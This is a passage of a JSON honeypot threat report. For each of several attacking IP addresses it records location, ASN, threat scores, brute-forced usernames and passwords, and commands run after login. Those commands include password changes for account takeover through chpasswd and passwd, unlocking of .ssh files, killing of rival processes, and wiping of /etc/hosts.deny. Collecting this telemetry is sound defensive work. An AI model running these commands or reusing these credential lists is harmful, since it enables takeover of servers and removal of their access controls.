        "Ctyun@2026",
        "King@123",
        "L8GnGhXyKUEF",
        "Passw0rd$",
        "QWERTY12345",
        "Salon@123",
        "ZAQ!xsw2",
        "a"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"audit\\nqMJdD2ccLCGn\\nqMJdD2ccLCGn\\n\"|passwd",
        "echo \"root:1LimgGvcAiEQ\"|chpasswd|bash",
        "echo \"root:A4QAvckW7Pms\"|chpasswd|bash",
        "echo -e \"audit\\nqMJdD2ccLCGn\\nqMJdD2ccLCGn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 482,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T23:38:52.442000+00:00",
        "last_seen_30d": "2026-05-24T02:57:17.951000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 97
      }
    },
    "186.123.101.50": {
      "attack_count": 381,
      "first_seen": "2026-05-21T09:41:59.378Z",
      "last_seen": "2026-05-21T10:35:18.489Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chiji",
        "netadmin",
        "pham",
        "volcengine",
        "cho",
        "csgo",
        "dmit",
        "dovecot",
        "jdcloud",
        "jeon",
        "manager",
        "user",
        "yunwei"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "Dd112211",
        "cho",
        "fucker",
        "jdcloud",
        "jiemei",
        "kakao123",
        "ncloud",
        "netadmin",
        "test",
        "user123",
        "wangluo",
        "yunwei",
        "zz001"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n7LbYSJ6KwpOT\\n7LbYSJ6KwpOT\\n\"|passwd",
        "echo \"123456\\nuXAAhGilRqHg\\nuXAAhGilRqHg\\n\"|passwd",
        "echo \"netadmin\\nzPmey8VR3m6s\\nzPmey8VR3m6s\\n\"|passwd",
        "echo \"password\\nu6HzMkQ28qz4\\nu6HzMkQ28qz4\\n\"|passwd",
        "echo -e \"123456\\n7LbYSJ6KwpOT\\n7LbYSJ6KwpOT\"|passwd|bash",
        "echo -e \"123456\\nuXAAhGilRqHg\\nuXAAhGilRqHg\"|passwd|bash",
        "echo -e \"netadmin\\nzPmey8VR3m6s\\nzPmey8VR3m6s\"|passwd|bash",
        "echo -e \"password\\nu6HzMkQ28qz4\\nu6HzMkQ28qz4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Avellaneda",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:41:59.378000+00:00",
        "last_seen_30d": "2026-05-21T10:36:19.540000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 67
      }
    },
    "112.81.45.203": {
      "attack_count": 214,
      "first_seen": "2026-05-19T18:21:00.597Z",
      "last_seen": "2026-05-20T06:17:06.454Z",
      "sessions": 107,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 321,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:21:00.597000+00:00",
        "last_seen_30d": "2026-05-20T06:18:10.616000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 214,
        "Suricata": 107
      }
    },
    "64.89.161.56": {
      "attack_count": 212,
      "first_seen": "2026-05-29T22:58:28.466Z",
      "last_seen": "2026-05-29T23:23:35.505Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "leonardo",
        "ansible",
        "mailcow",
        "rafael",
        "testuser",
        "ubuntu",
        "user02"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!",
        "1",
        "123456",
        "123456a.",
        "12345asd",
        "123@123a",
        "6969",
        "868686",
        "PAssw0rd",
        "QAZqaz123",
        "leonardo",
        "mailcow",
        "rafael",
        "ubuntu2026",
        "zhang123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"leonardo\\nVWcjQeWldBtD\\nVWcjQeWldBtD\\n\"|passwd",
        "echo \"root:JyiiJLzUteyJ\"|chpasswd|bash",
        "echo -e \"leonardo\\nVWcjQeWldBtD\\nVWcjQeWldBtD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:58:28.466000+00:00",
        "last_seen_30d": "2026-05-29T23:24:39.084000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "41.60.147.77": {
      "attack_count": 188,
      "first_seen": "2026-05-18T22:02:42.861Z",
      "last_seen": "2026-05-19T06:23:15.929Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:02:42.861000+00:00",
        "last_seen_30d": "2026-05-19T06:24:25.574000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 96
      }
    },
    "118.139.164.171": {
      "attack_count": 182,
      "first_seen": "2026-05-25T04:04:53.730Z",
      "last_seen": "2026-05-25T05:21:25.900Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user5",
        "ajay",
        "cloud",
        "curl",
        "frappe",
        "soksuser",
        "sunil",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!1qaz@2wsx",
        "!Q2w3e4r5t6y",
        "12345678",
        "12345678.",
        "Abcd.1234",
        "Qwerty123",
        "Rd123456",
        "Server2026@",
        "Test2024",
        "Wangsu@2017",
        "ajay@123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "iddqdidkfa",
        "kiki",
        "password",
        "soksuser",
        "sunil123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\neGPfVepRYXL9\\neGPfVepRYXL9\\n\"|passwd",
        "echo -e \"12345678\\neGPfVepRYXL9\\neGPfVepRYXL9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:04:53.730000+00:00",
        "last_seen_30d": "2026-05-25T05:22:32.421000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 56
      }
    },
    "61.76.38.54": {
      "attack_count": 174,
      "first_seen": "2026-05-21T18:01:15.217Z",
      "last_seen": "2026-05-21T19:17:29.951Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ma",
        "345gs5662d34",
        "admin",
        "dinesh",
        "mahesh",
        "mingtian",
        "qinaide",
        "shimizu",
        "snake",
        "socks",
        "softether",
        "sun",
        "supervisor",
        "watanabe",
        "wenhua"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "10086",
        "3245gs5662d34",
        "345gs5662d34",
        "Passw0rd",
        "aliyun123",
        "dev001",
        "dinesh",
        "gauth123",
        "icbc",
        "ma123",
        "mingtian",
        "qinaide",
        "rmb123",
        "shijiazhuang",
        "shimizu",
        "snake",
        "socks",
        "softether"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ma123\\nFH8s2YP3nNYl\\nFH8s2YP3nNYl\\n\"|passwd",
        "echo -e \"ma123\\nFH8s2YP3nNYl\\nFH8s2YP3nNYl\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:01:15.217000+00:00",
        "last_seen_30d": "2026-05-21T19:18:35.888000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 57
      }
    },
    "150.241.88.244": {
      "attack_count": 172,
      "first_seen": "2026-05-24T18:55:38.448Z",
      "last_seen": "2026-05-24T19:54:13.232Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "intel",
        "server",
        "andrew",
        "fastuser",
        "httpd",
        "mailuser",
        "pgsql",
        "tv",
        "ubuntu",
        "vip"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0987poiu",
        "1",
        "123",
        "123456",
        "123pls123A!",
        "ABCabc123@",
        "Admin@12345678",
        "Asd123456.",
        "asu",
        "fastuser",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "mailuser",
        "pgsql",
        "q1w2e3r4t5",
        "qwerasdf",
        "toor",
        "tv"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:55:38.448000+00:00",
        "last_seen_30d": "2026-05-24T19:55:14.117000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 68
      }
    },
    "45.173.103.146": {
      "attack_count": 164,
      "first_seen": "2026-05-24T16:37:44.487Z",
      "last_seen": "2026-05-24T17:54:12.822Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "aso",
        "345gs5662d34",
        "ftp_user",
        "httpd",
        "iksi",
        "intel",
        "lucky",
        "oe",
        "tableau",
        "temp",
        "toor",
        "ubuntu",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "!qaz2wsx3edc",
        "123",
        "12345678",
        "123pls123A!",
        "1qaz2wsx#EDC$RFV",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdfgh123",
        "Hj123456",
        "Password1!",
        "abcd1234!",
        "aso",
        "fire",
        "fjbdfdjkdsfs541544@@",
        "lucky",
        "oe",
        "password",
        "root",
        "test",
        "user123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"aso\\nVOREhffADNly\\nVOREhffADNly\\n\"|passwd",
        "echo -e \"aso\\nVOREhffADNly\\nVOREhffADNly\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 268809,
      "as_org": "EDILEUZA EVARISTO BARRETO",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T16:37:44.487000+00:00",
        "last_seen_30d": "2026-05-24T17:55:15.201000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 52
      }
    },
    "150.109.20.59": {
      "attack_count": 159,
      "first_seen": "2026-05-19T21:13:04.837Z",
      "last_seen": "2026-05-19T21:40:48.901Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$1234QWER",
        "1122",
        "123456qaz",
        "Tech$123",
        "WW123456.",
        "a1s2d3f4g5",
        "ahti",
        "alejo",
        "aq1sw2de3",
        "asdf",
        "claude",
        "conrad",
        "cygnusx1",
        "hong123",
        "miranda",
        "nelson",
        "nvidia1",
        "rock"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:13:04.837000+00:00",
        "last_seen_30d": "2026-05-19T21:41:51.902000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 60
      }
    },
    "173.236.16.74": {
      "attack_count": 150,
      "first_seen": "2026-05-02T23:35:02.073Z",
      "last_seen": "2026-05-29T01:07:22.989Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:35:02.073000+00:00",
        "last_seen_30d": "2026-05-29T01:08:24.487000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 76
      }
    },
    "200.89.69.247": {
      "attack_count": 148,
      "first_seen": "2026-05-12T04:30:20.052Z",
      "last_seen": "2026-05-14T04:51:17.714Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "A123456a",
        "ABCabc123",
        "!@#$%^",
        "!QAZxsw23edc",
        "112233",
        "11223344",
        "123456",
        "1234567",
        "123457",
        "12345qwert!@#$%",
        "1234qwer!@#$QWER",
        "1q2w3e",
        "1qazZAQ!",
        "222222",
        "666666",
        "88888888",
        "Aa123456",
        "Aa12345678",
        "Abc@1234",
        "Abc@123456"
      ],
      "commands_executed": [
        "df -h | head -5",
        "history | tail -5"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 23140,
      "as_org": "Universidad de Chile",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 249,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:30:20.052000+00:00",
        "last_seen_30d": "2026-05-14T06:00:43+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 101
      }
    },
    "154.92.17.58": {
      "attack_count": 144,
      "first_seen": "2026-05-24T08:41:02.544Z",
      "last_seen": "2026-05-24T09:34:33.533Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "thomas",
        "345gs5662d34",
        "acer",
        "andrey",
        "celeryuser",
        "cubrid",
        "es",
        "guru",
        "rocky",
        "s3",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "1qa2ws#ED",
        "3245gs5662d34",
        "345gs5662d34",
        "Ab123456",
        "P@$$w0rd4321",
        "P@ssw0rd123",
        "Qwe12345.",
        "celeryuser",
        "cubrid",
        "dark",
        "elasticsearch123456",
        "password",
        "s3"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\n1FKVjA9HXivX\\n1FKVjA9HXivX\\n\"|passwd",
        "echo -e \"123456\\n1FKVjA9HXivX\\n1FKVjA9HXivX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:41:02.544000+00:00",
        "last_seen_30d": "2026-05-24T09:35:40.073000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "91.201.216.61": {
      "attack_count": 143,
      "first_seen": "2026-05-23T09:12:27.310Z",
      "last_seen": "2026-05-23T10:05:41.458Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bitnami",
        "botuser",
        "erpnext",
        "ftpuser",
        "insight",
        "xmr"
      ],
      "passwords_attempted": [
        "20232023",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!",
        "QWEqwe123!@#",
        "Qaz123456@",
        "Qwe123",
        "Qwerty123@",
        "Server1234!",
        "Ty123456@",
        "bitnami",
        "erpnext",
        "ftpuser!@",
        "insight",
        "qwer",
        "qwerty123",
        "xmr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:SThsyhC6xTf3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": null,
      "asn": 209851,
      "as_org": "Hyper Cloud Solutions LLP",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:12:27.310000+00:00",
        "last_seen_30d": "2026-05-23T10:06:42.615000+00:00",
